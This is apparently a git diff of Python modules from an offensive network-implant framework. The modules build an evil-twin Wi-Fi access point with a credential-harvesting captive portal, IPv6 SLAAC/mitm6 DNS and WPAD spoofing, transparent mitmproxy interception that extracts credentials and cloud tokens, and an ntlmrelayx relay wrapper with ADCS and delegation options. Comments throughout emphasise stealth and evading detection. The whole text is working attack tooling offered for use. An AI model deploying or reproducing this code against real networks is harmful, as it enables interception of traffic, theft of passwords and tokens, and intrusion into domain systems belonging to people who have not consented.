"ap_active": self._ap_active,
"ssid": self._ssid,
"channel": self._channel,
"interface": self._wifi_iface,
"client_count": len(self._clients),
"captured_creds": len(self._captured_creds),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "wifi_iface" in config:
self._wifi_iface = config["wifi_iface"]
if "portal_port" in config:
self._portal_port = config["portal_port"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def create_ap(self, ssid: str, channel: int = 6,
portal_template: str = "corporate_login.html") -> bool:
"""Create evil twin AP with captive portal.
Args:
ssid: Target SSID to clone.
channel: WiFi channel (default 6).
portal_template: Filename of HTML portal template.
Returns:
True if AP was created successfully.
"""
if not self._running:
logger.error("EvilTwin not started")
return False
if self._ap_active:
logger.warning("AP already active — stop it first")
return False
self._ssid = ssid
self._channel = channel
self._portal_template = portal_template
# Write hostapd config
hostapd_conf = self._generate_hostapd_config(ssid, channel)
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
with open(hostapd_conf_path, "w") as f:
f.write(hostapd_conf)
# Configure wireless interface
if not self._setup_interface():
return False
# Start hostapd
if not self._start_hostapd(hostapd_conf_path):
self._teardown_interface()
return False
# Write and start dnsmasq
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
iface=self._wifi_iface,
dhcp_start=self._dhcp_start,
dhcp_end=self._dhcp_end,
gateway=self._gateway_ip,
)
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
with open(dnsmasq_conf_path, "w") as f:
f.write(dnsmasq_conf)
if not self._start_dnsmasq(dnsmasq_conf_path):
self._stop_hostapd()
self._teardown_interface()
return False
# Configure iptables for captive portal redirect
self._setup_iptables()
# Start captive portal HTTP server
self._start_portal(portal_template)
self._ap_active = True
self.state.set(self.name, "ssid", ssid)
self.state.set(self.name, "channel", str(channel))
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
ssid, channel, portal_template)
return True
def stop_ap(self) -> bool:
"""Stop the evil twin AP and clean up.
Returns:
True if AP was stopped successfully.
"""
logger.info("Stopping Evil Twin AP...")
# Stop portal server
self._stop_portal()
# Remove iptables rules
self._teardown_iptables()
# Stop dnsmasq
self._stop_dnsmasq()
# Stop hostapd
self._stop_hostapd()
# Restore interface
self._teardown_interface()
self._ap_active = False
self._ssid = None
self.state.set(self.name, "ssid", "")
logger.info("Evil Twin AP stopped")
return True
def get_clients(self) -> list:
"""Return list of currently connected clients.
Returns:
List of dicts with client MAC and IP.
"""
# Parse dnsmasq lease file for connected clients
lease_file = "/tmp/bb-dnsmasq.leases"
clients = []
if os.path.isfile(lease_file):
try:
with open(lease_file, "r") as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 4:
clients.append({
"mac": parts[1],
"ip": parts[2],
"hostname": parts[3] if parts[3] != "*" else "",
})
except Exception:
pass
with self._clients_lock:
self._clients = clients
return clients
# ------------------------------------------------------------------
# hostapd management
# ------------------------------------------------------------------
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
"""Generate hostapd config for open AP."""
return (
f"interface={self._wifi_iface}\n"
f"driver=nl80211\n"
f"ssid={ssid}\n"
f"hw_mode=g\n"
f"channel={channel}\n"
f"wmm_enabled=0\n"
f"macaddr_acl=0\n"
f"auth_algs=1\n"
f"ignore_broadcast_ssid=0\n"
f"wpa=0\n"
)
def _start_hostapd(self, conf_path: str) -> bool:
try:
self._hostapd_proc = subprocess.Popen(
["hostapd", conf_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2) # Wait for hostapd to initialize
if self._hostapd_proc.poll() is not None:
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
logger.error("hostapd failed to start: %s", stderr)
return False
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
return True
except FileNotFoundError:
logger.error("hostapd not found — install with: apt install hostapd")
return False
except Exception as e:
logger.error("Failed to start hostapd: %s", e)
return False
def _stop_hostapd(self) -> None:
if self._hostapd_proc and self._hostapd_proc.poll() is None:
self._hostapd_proc.terminate()
try:
self._hostapd_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._hostapd_proc.kill()
self._hostapd_proc = None
# ------------------------------------------------------------------
# dnsmasq management
# ------------------------------------------------------------------
def _start_dnsmasq(self, conf_path: str) -> bool:
try:
self._dnsmasq_proc = subprocess.Popen(
[
"dnsmasq", "-C", conf_path,
"--no-daemon",
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(1)
if self._dnsmasq_proc.poll() is not None:
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
logger.error("dnsmasq failed to start: %s", stderr)
return False
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
return True
except FileNotFoundError:
logger.error("dnsmasq not found — install with: apt install dnsmasq")
return False
except Exception as e:
logger.error("Failed to start dnsmasq: %s", e)
return False
def _stop_dnsmasq(self) -> None:
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
self._dnsmasq_proc.terminate()
try:
self._dnsmasq_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._dnsmasq_proc.kill()
self._dnsmasq_proc = None
# ------------------------------------------------------------------
# Interface management
# ------------------------------------------------------------------
def _setup_interface(self) -> bool:
"""Configure wireless interface for AP mode."""
try:
# Kill interfering processes
subprocess.run(
["airmon-ng", "check", "kill"],
capture_output=True, timeout=10,
)
# Set interface up with IP
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "link", "set", self._wifi_iface, "up"],
capture_output=True, timeout=5,
)
return True
except Exception:
logger.exception("Failed to configure wireless interface")
return False
def _teardown_interface(self) -> None:
"""Restore wireless interface to managed mode."""
try:
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
except Exception:
pass
# ------------------------------------------------------------------
# iptables for captive portal
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Set up iptables to redirect HTTP traffic to the captive portal."""
rules = [
# Enable NAT
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
# Redirect HTTP to portal
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
# Redirect HTTPS to portal (for captive portal detection)
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
# Enable IP forwarding
try:
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
except Exception:
pass
def _teardown_iptables(self) -> None:
"""Remove captive portal iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Captive portal HTTP server
# ------------------------------------------------------------------
def _start_portal(self, template_name: str) -> None:
"""Start the captive portal HTTP server."""
portal_path = os.path.join(self._template_dir, template_name)
if os.path.isfile(portal_path):
with open(portal_path, "r") as f:
CaptivePortalHandler.portal_html = f.read()
else:
logger.warning("Portal template not found: %s — using default", portal_path)
CaptivePortalHandler.portal_html = (
"<html><body><h1>Welcome</h1>"
"<form method='POST'>"
"<input name='username' placeholder='Username'><br>"
"<input name='password' type='password' placeholder='Password'><br>"
"<button type='submit'>Sign In</button>"
"</form></body></html>"
)
CaptivePortalHandler.credential_callback = self._on_credential_captured
self._portal_server = socketserver.TCPServer(
("0.0.0.0", self._portal_port), CaptivePortalHandler
)
self._portal_server.allow_reuse_address = True
self._portal_thread = threading.Thread(
target=self._portal_server.serve_forever,
daemon=True,
name="bb-captive-portal",
)
self._portal_thread.start()
logger.info("Captive portal serving on port %d", self._portal_port)
def _stop_portal(self) -> None:
if self._portal_server:
self._portal_server.shutdown()
self._portal_server = None
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
"""Handle credential submission from captive portal."""
with self._creds_lock:
self._captured_creds.append({
"timestamp": time.time(),
"client_ip": client_ip,
"post_data": post_data,
})
# Parse form data for username/password
from urllib.parse import parse_qs
params = parse_qs(post_data)
username = params.get("username", params.get("email", [""]))[0] if params else ""
password = params.get("password", params.get("pass", [""]))[0] if params else ""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": client_ip,
"target_service": f"captive_portal:{self._ssid}",
"username": username,
"credential_type": "cleartext",
"credential_value": password,
"raw_data": post_data,
},
source_module=self.name,
)
logger.info("Captive portal credential captured from %s", client_ip)
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
Combines two approaches:
1. bettercap dhcp6.spoof: Router Advertisement injection
2. mitm6: Targeted WPAD/DNS takeover via IPv6
This is significantly stealthier than ARP spoofing — most networks
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
"""
import logging
import os
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.ipv6_slaac")
class IPv6SLAAC(BaseModule):
"""IPv6 SLAAC spoofing via bettercap + mitm6.
Dependencies:
- bettercap_mgr must be running (for dhcp6.spoof)
- mitm6 must be installed (pip install mitm6)
Configuration:
target_domain: Domain to target with mitm6 WPAD abuse
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
interface: Network interface (default: eth0)
"""
name = "ipv6_slaac"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._mitm6_proc: Optional[subprocess.Popen] = None
self._mitm6_thread: Optional[threading.Thread] = None
self._slaac_active = False
self._mitm6_active = False
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
self._iface = config.get("interface", "eth0")
self._target_domain: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
def stop(self) -> None:
if not self._running:
return
self.stop_all()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("IPv6SLAAC module stopped")
def status(self) -> dict:
mitm6_alive = (
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"slaac_active": self._slaac_active,
"mitm6_active": self._mitm6_active and mitm6_alive,
"target_domain": self._target_domain,
"interface": self._iface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "mitm6_binary" in config:
self._mitm6_binary = config["mitm6_binary"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_slaac(self) -> bool:
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
Injects Router Advertisements to become the IPv6 DNS server
for all hosts on the segment.
Returns:
True if SLAAC spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("IPv6SLAAC not started")
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._slaac_active = True
self.state.set(self.name, "slaac_active", "true")
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
return True
except Exception:
logger.exception("Failed to enable SLAAC spoofing")
return False
def start_mitm6(self, domain: str = None) -> bool:
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
mitm6 sends RA messages advertising itself as the IPv6 DNS
server, then responds to WPAD requests to redirect proxy
configuration. Effective for NTLM hash capture when combined
with ntlmrelayx.
Args:
domain: Target domain for WPAD abuse (e.g., "corp.local").
Returns:
True if mitm6 was started.
"""
if not self._running:
logger.error("IPv6SLAAC not started")
return False
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
logger.warning("mitm6 already running")
return True
self._target_domain = domain or self.config.get("target_domain", "")
cmd = [self._mitm6_binary, "-i", self._iface]
if self._target_domain:
cmd.extend(["-d", self._target_domain])
try:
self._mitm6_proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2)
if self._mitm6_proc.poll() is not None:
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
logger.error("mitm6 failed to start: %s", stderr)
return False
self._mitm6_active = True
# Start output monitoring thread
self._mitm6_thread = threading.Thread(
target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor"
)
self._mitm6_thread.start()
self.state.set(self.name, "mitm6_active", "true")
logger.info(
"mitm6 started (pid=%d, domain=%s)",
self._mitm6_proc.pid, self._target_domain or "all",
)
return True
except FileNotFoundError:
logger.error("mitm6 not found at %s", self._mitm6_binary)
return False
except Exception:
logger.exception("Failed to start mitm6")
return False
def stop_all(self) -> bool:
"""Stop all IPv6 SLAAC and mitm6 operations.
Returns:
True if all components were stopped.
"""
success = True
# Stop SLAAC spoofing
if self._slaac_active and self._bettercap_mgr:
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._slaac_active = False
self.state.set(self.name, "slaac_active", "false")
logger.info("SLAAC spoofing disabled")
except Exception:
logger.exception("Failed to disable SLAAC spoofing")
success = False
# Stop mitm6
if self._mitm6_proc and self._mitm6_proc.poll() is None:
try:
self._mitm6_proc.terminate()
self._mitm6_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._mitm6_proc.kill()
try:
self._mitm6_proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitm6")
success = False
self._mitm6_proc = None
self._mitm6_active = False
self.state.set(self.name, "mitm6_active", "false")
return success
# ------------------------------------------------------------------
# mitm6 output monitoring
# ------------------------------------------------------------------
def _monitor_mitm6(self) -> None:
"""Monitor mitm6 stderr for authentication events."""
if not self._mitm6_proc:
return
try:
for line in iter(self._mitm6_proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# mitm6 logs DNS queries and WPAD requests
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
logger.debug("mitm6: %s", decoded)
# Check for process exit
if self._mitm6_proc.poll() is not None:
break
except Exception:
pass
+351
View File
@@ -0,0 +1,351 @@
#!/usr/bin/env python3
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
scripts extract credentials from POST bodies, capture cloud tokens from
auth headers, and log file metadata from transfers.
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
Check hardware tier before enabling.
Custom CA CN can be configured to match target PKI for stealth.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.mitmproxy_mgr")
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
class MitmproxyManager(BaseModule):
"""mitmproxy transparent proxy with credential and token extraction.
OPi Zero 3+ only — check tier before enabling. On lower-tier
hardware, use bettercap's built-in HTTP proxy instead.
Dependencies:
- mitmproxy installed (pip install mitmproxy)
- iptables for transparent redirect
Configuration:
proxy_port: Listening port (default: 8080)
addons_dir: Path to addon scripts
ca_cn: Custom CA Common Name to match target PKI
hardware_tier: Device tier for resource checks
"""
name = "mitmproxy_mgr"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._monitor_thread: Optional[threading.Thread] = None
self._proxy_port = config.get("proxy_port", 8080)
self._proxy_active = False
self._iface = config.get("interface", "eth0")
self._ca_cn = config.get("ca_cn", "")
self._hardware_tier = config.get("hardware_tier", "rpi4")
self._addons_dir = config.get(
"addons_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
)
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
self._flow_log = config.get(
"flow_log",
os.path.join(os.path.expanduser("~"), ".bigbrother", "mitmproxy_flows"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Tier check
if self._hardware_tier not in SUPPORTED_TIERS:
logger.error(
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
self._hardware_tier,
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("MitmproxyManager started (tier=%s, port=%d)",
self._hardware_tier, self._proxy_port)
def stop(self) -> None:
if not self._running:
return
if self._proxy_active:
self.stop_proxy()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("MitmproxyManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"proxy_active": self._proxy_active and proc_alive,
"proxy_pid": self._proc.pid if proc_alive else None,
"proxy_port": self._proxy_port,
"hardware_tier": self._hardware_tier,
"ca_cn": self._ca_cn,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "proxy_port" in config:
self._proxy_port = config["proxy_port"]
if "ca_cn" in config:
self._ca_cn = config["ca_cn"]
if "hardware_tier" in config:
self._hardware_tier = config["hardware_tier"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_proxy(self, port: int = None, addons: list = None) -> bool:
"""Start mitmproxy in transparent mode with addons.
Args:
port: Override proxy port.
addons: List of addon script filenames to load from addons_dir.
Returns:
True if proxy was started.
"""
if not self._running:
logger.error("MitmproxyManager not started")
return False
if self._proxy_active and self._proc and self._proc.poll() is None:
logger.warning("mitmproxy already running")
return True
if port:
self._proxy_port = port
# Build command
cmd = [
self._mitmdump_binary,
"--mode", "transparent",
"--listen-port", str(self._proxy_port),
"--set", "connection_strategy=lazy",
"--set", "stream_large_bodies=1m",
"-w", self._flow_log,
]
# Custom CA CN for stealth
if self._ca_cn:
cmd.extend(["--set", f"ssl_insecure=true"])
# Load addon scripts
addon_scripts = addons or self._get_default_addons()
for addon in addon_scripts:
addon_path = os.path.join(self._addons_dir, addon)
if os.path.isfile(addon_path):
cmd.extend(["-s", addon_path])
else:
logger.warning("Addon script not found: %s", addon_path)
# Setup iptables for transparent redirect
self._setup_iptables()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(3)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("mitmproxy failed to start: %s", stderr)
self._teardown_iptables()
return False
self._proxy_active = True
# Start output monitoring
self._monitor_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor"
)
self._monitor_thread.start()
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
return True
except FileNotFoundError:
logger.error("mitmdump not found — install with: pip install mitmproxy")
self._teardown_iptables()
return False
except Exception:
logger.exception("Failed to start mitmproxy")
self._teardown_iptables()
return False
def stop_proxy(self) -> bool:
"""Stop mitmproxy and remove iptables rules.
Returns:
True if proxy was stopped.
"""
# Stop process
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitmproxy")
finally:
self._proc = None
# Remove iptables rules
self._teardown_iptables()
self._proxy_active = False
logger.info("mitmproxy stopped")
return True
def get_flows(self) -> str:
"""Return path to the mitmproxy flow log file.
Returns:
Path to the binary flow dump file.
"""
return self._flow_log
# ------------------------------------------------------------------
# iptables for transparent mode
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
rules = [
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
def _teardown_iptables(self) -> None:
"""Remove transparent proxy iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Addon management
# ------------------------------------------------------------------
def _get_default_addons(self) -> list:
"""Return list of default addon script filenames."""
defaults = [
"credential_extractor.py",
"cloud_token_capture.py",
"file_metadata_logger.py",
]
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor mitmproxy stderr for credential and token events."""
if not self._proc:
return
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# Look for credential extraction events from addons
if "[credential]" in decoded.lower():
self._handle_credential_output(decoded)
elif "[cloud_token]" in decoded.lower():
self._handle_token_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _handle_credential_output(self, line: str) -> None:
"""Parse credential event from addon output."""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"credential_type": "cleartext",
"credential_value": line,
},
source_module=self.name,
)
def _handle_token_output(self, line: str) -> None:
"""Parse cloud token event from addon output."""
self.bus.emit(
"CLOUD_TOKEN_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"token_data": line,
},
source_module=self.name,
)
+376
View File
@@ -0,0 +1,376 @@
#!/usr/bin/env python3
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
targets from Responder's SMB authentication.
Resources: ~40MB RAM, ~5% CPU
"""
import logging
import os
import re
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.ntlm_relay")
# Supported relay protocols
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
class NTLMRelay(BaseModule):
"""ntlmrelayx subprocess manager.
Relays captured NTLM authentication to target services. Works
in coordination with ResponderManager — targets being relayed
should be excluded from Responder's SMB server to avoid consuming
the authentication attempt locally.
Dependencies:
- Impacket installed (/opt/tools/impacket or pip install impacket)
- responder_mgr (optional, for coordination)
Configuration:
ntlmrelayx_binary: Path to ntlmrelayx.py
targets: List of relay target URLs (e.g., smb://10.0.0.0)
protocols: Set of relay protocols to use
adcs_template: ADCS certificate template for ESC attacks
"""
name = "ntlm_relay"
module_type = "active"
priority = 150
requires_root = True
OUTPUT_POLL_INTERVAL = 5
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._output_thread: Optional[threading.Thread] = None
self._ntlmrelayx_binary = config.get(
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
)
self._iface = config.get("interface", "eth0")
self._targets: list = []
self._protocols: set = set()
self._adcs_template: Optional[str] = None
self._relay_active = False
self._successful_relays: list = []
self._relays_lock = threading.Lock()
self._responder_mgr = None
self._target_file = os.path.join(
os.path.expanduser("~"), ".bigbrother", "relay_targets.txt"
)
self._loot_dir = os.path.join(
os.path.expanduser("~"), ".bigbrother", "ntlmrelay_loot"
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Optional responder_mgr for coordination
self._responder_mgr = self.config.get("responder_mgr")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
os.makedirs(self._loot_dir, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("NTLMRelay module started (ready for relay commands)")
def stop(self) -> None:
if not self._running:
return
if self._relay_active:
self.stop_relay()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("NTLMRelay module stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"relay_active": self._relay_active and proc_alive,
"relay_pid": self._proc.pid if proc_alive else None,
"targets": self._targets,
"protocols": list(self._protocols),
"adcs_template": self._adcs_template,
"successful_relays": len(self._successful_relays),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "ntlmrelayx_binary" in config:
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
if "adcs_template" in config:
self._adcs_template = config["adcs_template"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_relay(self, targets: list, protocols: set = None) -> bool:
"""Start ntlmrelayx with specified targets and protocols.
Args:
targets: List of relay target URLs.
Format: "protocol://ip" (e.g., "smb://10.0.0.0")
Or plain IPs for default SMB relay.
protocols: Set of protocols to relay to. If None, inferred from targets.
Returns:
True if ntlmrelayx was started.
"""
if not self._running:
logger.error("NTLMRelay not started")
return False
if self._relay_active and self._proc and self._proc.poll() is None:
logger.warning("ntlmrelayx already running")
return True
self._targets = list(targets)
self._protocols = protocols or self._infer_protocols(targets)
# Write target file
self._write_target_file()
# Coordinate with Responder — exclude relay target IPs from SMB auth
self._update_responder_exclusions()
# Build command
cmd = self._build_command()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._loot_dir,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("ntlmrelayx failed to start: %s", stderr)
return False
self._relay_active = True
# Start output monitoring
self._output_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor"
)
self._output_thread.start()
logger.info(
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
self._proc.pid, len(self._targets), self._protocols,
)
return True
except FileNotFoundError:
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
return False
except Exception:
logger.exception("Failed to start ntlmrelayx")
return False
def stop_relay(self) -> bool:
"""Stop ntlmrelayx.
Returns:
True if relay was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop ntlmrelayx")
return False
finally:
self._proc = None
self._relay_active = False
logger.info("ntlmrelayx stopped")
return True
def add_target(self, target: str) -> bool:
"""Add a relay target while ntlmrelayx is running.
Args:
target: Target URL (e.g., "smb://10.0.0.0").
Returns:
True if target was added (requires restart to take effect).
"""
if target not in self._targets:
self._targets.append(target)
self._write_target_file()
self._update_responder_exclusions()
logger.info("Added relay target: %s (restart relay to apply)", target)
return True
return False
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _build_command(self) -> list:
"""Build the ntlmrelayx command line."""
cmd = [
"python3", self._ntlmrelayx_binary,
"-tf", self._target_file,
"-of", os.path.join(self._loot_dir, "hashes"),
"-smb2support",
]
# ADCS relay
if self._adcs_template and "adcs" in self._protocols:
cmd.extend(["--adcs", "--template", self._adcs_template])
# LDAP relay options
if "ldap" in self._protocols or "ldaps" in self._protocols:
cmd.append("--delegate-access")
# SOCKS proxy for interactive sessions
cmd.append("-socks")
return cmd
def _write_target_file(self) -> None:
"""Write relay targets to file for ntlmrelayx -tf."""
try:
with open(self._target_file, "w") as f:
for target in self._targets:
f.write(f"{target}\n")
except Exception:
logger.exception("Failed to write target file")
def _infer_protocols(self, targets: list) -> set:
"""Infer relay protocols from target URLs."""
protocols = set()
for target in targets:
if "://" in target:
proto = target.split("://")[0].lower()
if proto in RELAY_PROTOCOLS:
protocols.add(proto)
else:
protocols.add("smb") # Default to SMB
return protocols or {"smb"}
def _update_responder_exclusions(self) -> None:
"""Update ResponderManager with IPs to exclude from SMB auth."""
if not self._responder_mgr:
return
# Extract IPs from target URLs
